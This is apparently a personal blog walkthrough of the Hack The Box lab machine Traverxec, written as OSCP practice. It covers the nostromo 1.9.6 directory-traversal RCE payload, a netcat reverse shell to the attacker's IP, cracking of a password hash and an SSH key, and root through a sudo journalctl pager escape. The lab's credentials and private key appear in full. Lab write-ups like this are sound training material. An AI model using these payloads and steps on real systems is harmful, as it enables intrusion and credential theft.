Path to OSCP: Traverxec

As part of my progress towards achieving Offensive Security Certified Professional certification, I’m attempting to complete all NetSecFocus OSCP-style boxes on Hack The Box, and detailing each box in this “Path to OSCP” blog series.

After a bit of a break to do some actual reading/studying, I’m back with the next NetSecFocus box, Traverxec, which has to be one of the most annoying hostnames to type in HTB history. To nmap:

u01@nostromo:~$ sudo nmap -p- -A traverxec.htb -oA HTB/traverxec/traverxec
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-08 15:07 IST
Nmap scan report for traverxec.htb (10.10.10.165)
Host is up (0.036s latency).
rDNS record for 10.10.10.165: trav.htb
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-title: TRAVERXEC
|_http-server-header: nostromo 1.9.6
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|storage-misc
Running (JUST GUESSING): Linux 5.X|3.X|4.X (91%), Crestron 2-Series (86%), HP embedded (85%), Oracle VM Server 3.X (85%)
OS CPE: cpe:/o:linux:linux_kernel:5.0 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:crestron:2_series cpe:/h:hp:p2000_g3 cpe:/o:oracle:vm_server:3.4.2 cpe:/o:linux:linux_kernel:4.1
Aggressive OS guesses: Linux 5.0 (91%), Linux 3.10 - 4.11 (90%), Linux 3.2 - 4.9 (90%), Linux 5.1 (90%), Linux 3.18 (88%), Crestron XPanel control system (86%), Linux 3.16 (86%), HP P2000 G3 NAS device (85%), Oracle VM Server 3.4.2 (Linux 4.1) (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 45.63 ms 10.10.14.1
2 46.16 ms trav.htb (10.10.10.165)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 121.99 seconds

Standard HTTP port 80 and SSH port 22. We take a look at the webpage, which is a personal portfolio page for David White.

Using Wappalyzer, nmap output, and some manual enumeration of visible directories, we note that the site is using:
• nostromo 1.9.6
• Jquery 1.12.4
• prettyPhoto 3.1.6
• Isotope v1.5.25
• Modernizr
• Bootstrap 3.3.7

Nostromo is the most interesting of the bunch, not least because it’s coincidentally same as the hostname of my Kali box, which threw me off for longer than I’d like to admit! Searchsploit shows a Directory Traversal RCE for this exact version (CVE-2019-16278), so combined with the hint contained in the box’s name “Traverxec”, this must be the correct path.

u01@nostromo:~$ searchsploit nostromo 1.9.6
------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------- ---------------------------------
nostromo 1.9.6 - Remote Code Execution | multiple/remote/47837.py
------------------------------------------------------------------------------------------------------------- ---------------------------------

Let’s take a look at the Python script to see what’s happening before we run anything. It takes three command line arguments; the target IP, target port, and a command. It creates a socket and establishes a connection to the provided IP and port, and sends a POST payload which appears to use directory traversal to find and execute /bin/sh, with the payload of the request providing the executed command.def cve(target, port, cmd):

soc = socket.socket()
soc.connect((target, int(port)))
payload = 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1'.format(cmd)
soc.send(payload)
receive = connect(soc)
print(receive)

So let’s give it a go. I get a TypeError initially, which appears to be Python2/3 related, so I switch to a Python2 virtual environment where it runs successfully, simply running ‘id’ command as POC:

(py2venv) u01@nostromo:~/HTB/traverxec$ python trav.py traverxec.htb 80 id

_____-2019-16278
_____ _______ ______ _____\ _____\ \_\ | | | / / | |
/ /| || / / /|/ / /___/|
/ / /____/||\ \ \ |/| |__ |___|/
| | |____|/ \ \ \ | | | | | _____ \| \| | | __/ __
|\ \|\ \ |\ /| |\ \ / | \_____\| | | \_______/ | | \____\/ |
| | /____/| \ | | / | | |____/|
\|_____| || \|_____|/ \|____| | |
|____|/ |___|/




HTTP/1.1 200 OK
Date: Sun, 08 Oct 2023 18:18:01 GMT
Server: nostromo 1.9.6
Connection: close

uid=33(www-data) gid=33(www-data) groups=33(www-data)

I try a few reverse shell payloads, getting a successful connection with netcat -e to a listening netcat, to provide a shell as www-data:

(py2venv) u01@nostromo:~/HTB/traverxec$ python trav.py traverxec.htb 80 "nc 10.10.14.12 7777 -e bash"
u01@nostromo:~$ nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.165] 53028
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

After some manual enumeration I come across an interesting file, /var/nostromo/conf/.nhttpd.conf. Checking the nhttpd help page, it states that “The list of authorized users and their passwords (DES encrypted) are stored in the file set by the htpasswd option in configfile”. “HOMEDIRS” also states “To serve the home directories of your users via HTTP, enable the homedirs option by defining the path in where the home directories are stored, normally /home”, and interestingly “You can restrict the access within the home directories to a single sub directory by defining it via the homedirs_public option”.

So we check out /var/nostromo/conf/.htpasswd first, which contains a password hash for david:

www-data@traverxec:/var/nostromo/conf$ cat .htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

Hash-identifier recognises it as MD5, so should be handy enough to crack:

u01@nostromo:~$ hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: $1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

Possible Hashs:
[+] MD5(Unix)
--------------------------------------------------

We use John, specifying md5crypt as the password format and rockyou wordlist, which successfully cracks the hash:

u01@nostromo:~$ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Nowonly4me (?)
1g 0:00:00:42 DONE (2023-10-08 20:47) 0.02333g/s 246866p/s 246866c/s 246866C/s Noyoudo..Novaem
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

We try this with SSH, but along it is not enough to connect.

Next we look at the other interesting entry, HOMEDIRS. We don’t have read access to /home/david, but this configuration implies there is a folder in the home directory, public_www. When we try to directly list contents of that path, we get a hit:

www-data@traverxec:/var/nostromo/conf$ ls /home/david/public_www
index.html protected-file-area
area/ata@traverxec:/var/nostromo/conf$ ls /home/david/public_www/protected-file-area
backup-ssh-identity-files.tgz

We copy this over to /tmp, extract, and find some SSH keys:

www-data@traverxec:/tmp$ tar zxvf backup-ssh-identity-files.tgz
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub

We grab id_rsa, which is encrypted, so we’ll need to crack the password protecting it:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F

seyeH/feG19TlUaMdvHZK/2qfy8pwwdr9sg75x4hPpJJ8YauhWorCN4LPJV+wfCG
tuiBPfZy+ZPklLkOneIggoruLkVGW4k4651pwekZnjsT8IMM3jndLNSRkjxCTX3W
KzW9VFPujSQZnHM9Jho6J8O8LTzl+s6GjPpFxjo2Ar2nPwjofdQejPBeO7kXwDFU
RJUpcsAtpHAbXaJI9LFyX8IhQ8frTOOLuBMmuSEwhz9KVjw2kiLBLyKS+sUT9/V7
HHVHW47Y/EVFgrEXKu0OP8rFtYULQ+7k7nfb7fHIgKJ/6QYZe69r0AXEOtv44zIc
Y1OMGryQp5CVztcCHLyS/9GsRB0d0TtlqY2LXk+1nuYPyyZJhyngE7bP9jsp+hec
dTRqVqTnP7zI8GyKTV+KNgA0m7UWQNS+JgqvSQ9YDjZIwFlA8jxJP9HsuWWXT0ZN
6pmYZc/rNkCEl2l/oJbaJB3jP/1GWzo/q5JXA6jjyrd9xZDN5bX2E2gzdcCPd5qO
xwzna6js2kMdCxIRNVErnvSGBIBS0s/OnXpHnJTjMrkqgrPWCeLAf0xEPTgktqi1
Q2IMJqhW9LkUs48s+z72eAhl8naEfgn+fbQm5MMZ/x6BCuxSNWAFqnuj4RALjdn6
i27gesRkxxnSMZ5DmQXMrrIBuuLJ6gHgjruaCpdh5HuEHEfUFqnbJobJA3Nev54T
fzeAtR8rVJHlCuo5jmu6hitqGsjyHFJ/hSFYtbO5CmZR0hMWl1zVQ3CbNhjeIwFA
bzgSzzJdKYbGD9tyfK3z3RckVhgVDgEMFRB5HqC+yHDyRb+U5ka3LclgT1rO+2so
uDi6fXyvABX+e4E4lwJZoBtHk/NqMvDTeb9tdNOkVbTdFc2kWtz98VF9yoN82u8I
Ak/KOnp7lzHnR07dvdD61RzHkm37rvTYrUexaHJ458dHT36rfUxafe81v6l6RM8s
9CBrEp+LKAA2JrK5P20BrqFuPfWXvFtROLYepG9eHNFeN4uMsuT/55lbfn5S41/U
rGw0txYInVmeLR0RJO37b3/haSIrycak8LZzFSPUNuwqFcbxR8QJFqqLxhaMztua
4mOqrAeGFPP8DSgY3TCloRM0Hi/MzHPUIctxHV2RbYO/6TDHfz+Z26ntXPzuAgRU
/8Gzgw56EyHDaTgNtqYadXruYJ1iNDyArEAu+KvVZhYlYjhSLFfo2yRdOuGBm9AX
JPNeaxw0DX8UwGbAQyU0k49ePBFeEgQh9NEcYegCoHluaqpafxYx2c5MpY1nRg8+
XBzbLF9pcMxZiAWrs4bWUqAodXfEU6FZv7dsatTa9lwH04aj/5qxEbJuwuAuW5Lh
hORAZvbHuIxCzneqqRjS4tNRm0kF9uI5WkfK1eLMO3gXtVffO6vDD3mcTNL1pQuf
SP0GqvQ1diBixPMx+YkiimRggUwcGnd3lRBBQ2MNwWt59Rri3Z4Ai0pfb1K7TvOM
j1aQ4bQmVX8uBoqbPvW0/oQjkbCvfR4Xv6Q+cba/FnGNZxhHR8jcH80VaNS469tt
VeYniFU/TGnRKDYLQH2x0ni1tBf0wKOLERY0CbGDcquzRoWjAmTN/PV2VbEKKD/w
-----END RSA PRIVATE KEY-----

We use ssh2john to generate a hash:

u01@nostromo:~/HTB/traverxec$ ssh2john priv
priv:$sshng$1$16$477EEFFBA56F9D283D349033D5D08C4F$1200$b1ec9e1ff7de1b5f5395468c76f1d92bfdaa7f2f29c3076bf6c83be71e213e9249f186ae856a2b08de0b3c957ec1f086b6e8813df672f993e494b90e9de220828aee2e45465b8938eb9d69c1e9199e3b13f0830cde39dd2cd491923c424d7dd62b35bd5453ee8d24199c733d261a3a27c3bc2d3ce5face868cfa45c63a3602bda73f08e87dd41e8cf05e3bb917c0315444952972c02da4701b5da248f4b1725fc22143c7eb4ce38bb81326b92130873f4a563c369222c12f2292fac513f7f57b1c75475b8ed8fc454582b1172aed0e3fcac5b5850b43eee4ee77dbedf1c880a27fe906197baf6bd005c43adbf8e3321c63538c1abc90a79095ced7021cbc92ffd1ac441d1dd13b65a98d8b5e4fb59ee60fcb26498729e013b6cff63b29fa179c75346a56a4e73fbcc8f06c8a4d5f8a3600349bb51640d4be260aaf490f580e3648c05940f23c493fd1ecb965974f464dea999865cfeb36408497697fa096da241de33ffd465b3a3fab925703a8e3cab77dc590cde5b5f613683375c08f779a8ec70ce76ba8ecda431d0b121135512b9ef486048052d2cfce9d7a479c94e332b92a82b3d609e2c07f4c443d3824b6a8b543620c26a856f4b914b38f2cfb3ef6780865f276847e09fe7db426e4c319ff1e810aec52356005aa7ba3e1100b8dd9fa8b6ee07ac464c719d2319e439905ccaeb201bae2c9ea01e08ebb9a0a9761e47b841c47d416a9db2686c903735ebf9e137f3780b51f2b5491e50aea398e6bba862b6a1ac8f21c527f852158b5b3b90a6651d21316975cd543709b3618de2301406f3812cf325d2986c60fdb727cadf3dd17245618150e010c1510791ea0bec870f245bf94e646b72dc9604f5acefb6b28b838ba7d7caf0015fe7b8138970259a01b4793f36a32f0d379bf6d74d3a455b4dd15cda45adcfdf1517dca837cdaef08024fca3a7a7b9731e7474eddbdd0fad51cc7926dfbaef4d8ad47b1687278e7c7474f7eab7d4c5a7def35bfa97a44cf2cf4206b129f8b28003626b2b93f6d01aea16e3df597bc5b5138b61ea46f5e1cd15e378b8cb2e4ffe7995b7e7e52e35fd4ac6c34b716089d599e2d1d1124edfb6f7fe169222bc9c6a4f0b6731523d436ec2a15c6f147c40916aa8bc6168ccedb9ae263aaac078614f3fc0d2818dd30a5a113341e2fcccc73d421cb711d5d916d83bfe930c77f3f99dba9ed5cfcee020454ffc1b3830e7a1321c369380db6a61a757aee609d62343c80ac402ef8abd56616256238522c57e8db245d3ae1819bd01724f35e6b1c340d7f14c066c0432534938f5e3c115e120421f4d11c61e802a0796e6aaa5a7f1631d9ce4ca58d67460f3e5c1cdb2c5f6970cc598805abb386d652a0287577c453a159bfb76c6ad4daf65c07d386a3ff9ab111b26ec2e02e5b92e184e44066f6c7b88c42ce77aaa918d2e2d3519b4905f6e2395a47cad5e2cc3b7817b557df3babc30f799c4cd2f5a50b9f48fd06aaf435762062c4f331f989228a6460814c1c1a777795104143630dc16b79f51ae2dd9e008b4a5f6f52bb4ef38c8f5690e1b426557f2e068a9b3ef5b4fe842391b0af7d1e17bfa43e71b6bf16718d67184747c8dc1fcd1568d4b8ebdb6d55e62788553f4c69d128360b407db1d278b5b417f4c0a38b11163409b18372abb34685a30264cdfcf57655b10a283ff0

Which John doesn’t have much trouble cracking:

u01@nostromo:~/HTB/traverxec$ john hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
hunter (priv)
1g 0:00:00:00 DONE 2/3 (2023-10-08 21:07) 11.11g/s 12522p/s 12522c/s 12522C/s frodo..pumpkin
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Armed with the private key and password, we should now be able to get an SSH session as David, and grab the user.txt flag:

u01@nostromo:~/HTB/traverxec$ chmod 600 priv
u01@nostromo:~/HTB/traverxec$ ssh david@traverxec.htb -i priv
Enter passphrase for key 'priv':
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
david@traverxec:~$ id
uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
david@traverxec:~$ ls -l user.txt
-r--r----- 1 root david 33 Oct 8 14:00 user.txt

The first obvious point of interest is the bin folder in david’s home directory, which contains a server-stats.sh script:

david@traverxec:~/bin$ ls -la
total 16
drwx------ 2 david david 4096 Oct 25 2019 .
drwx--x--x 5 david david 4096 Oct 8 16:11 ..
-r-------- 1 david david 802 Oct 25 2019 server-stats.head
-rwx------ 1 david david 363 Oct 25 2019 server-stats.sh

david@traverxec:~/bin$ cat server-stats.sh
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

The last line is the most interesting. Although we don’t have david’s password to confirm his sudo permissions, this script would imply that he at least has sudo permissions to run journalctl, maybe limited to the unostromo service. Running the script shows that it is working as intended:

Last 5 journal log lines:
-- Logs begin at Sun 2023-10-08 13:59:51 EDT, end at Sun 2023-10-08 16:39:13 EDT. --
Oct 08 15:18:04 traverxec sudo[4052]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty=/dev/pts/0 ruser=www-data rhost= user=www-data
Oct 08 15:18:05 traverxec sudo[4052]: pam_unix(sudo:auth): conversation failed
Oct 08 15:18:05 traverxec sudo[4052]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Oct 08 15:18:05 traverxec sudo[4052]: www-data : command not allowed ; TTY=pts/0 ; PWD=/tmp ; USER=root ; COMMAND=list
Oct 08 15:18:05 traverxec nologin[4096]: Attempted login by UNKNOWN on UNKNOWN

I try to modify this file but despite seeminly having rwx access, I can’t modify it. I move the file to david’s home directory and can modify it from there.

I try messing around with pipes and && to see if the sudo permissions can help me create a file with root permissions as a POC, but don’t have any lucky. Checking GTFOBins, there is a method to drop from journalctl into the shell of whichever user it is running under:

The problem here is that we don’t get a chance to enter any input into jouralctl, as it is immediately piped to cat.

So to resolve this, we simply remove the pipe section from the final command, giving us a chance to enter !/bin/sh, dropping us to root and retrieving the root.txt flag.

david@traverxec:~$ ./server-stats.sh
.----.
.---------. | == |
Webserver Statistics and Data |.-"""""-.| |----|
Collection Script || || | == |
(c) David, 2019 || || |----|
|'-.....-'| |::::|
'"")---(""' |___.|
/:::::::::::\" "
/:::=======:::\
jgs '"""""""""""""'

Load: 16:37:13 up 2:37, 1 user, load average: 0.00, 0.00, 0.00

Open nhttpd sockets: 1
Files in the docroot: 117

Last 5 journal log lines:
-- Logs begin at Sun 2023-10-08 13:59:51 EDT, end at Sun 2023-10-08 16:37:13 EDT. --
Oct 08 15:18:04 traverxec sudo[4052]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty=/dev/pts/0 ruser=www-data rhost=
Oct 08 15:18:05 traverxec sudo[4052]: pam_unix(sudo:auth): conversation failed
Oct 08 15:18:05 traverxec sudo[4052]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Oct 08 15:18:05 traverxec sudo[4052]: www-data : command not allowed ; TTY=pts/0 ; PWD=/tmp ; USER=root ; COMMAND=list
Oct 08 15:18:05 traverxec nologin[4096]: Attempted login by UNKNOWN on UNKNOWN
!/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# ls -l /root/root.txt
-r-------- 1 root root 33 Oct 8 14:00 /root/root.txt
#


 

Leave a Reply

Your email address will not be published. Required fields are marked *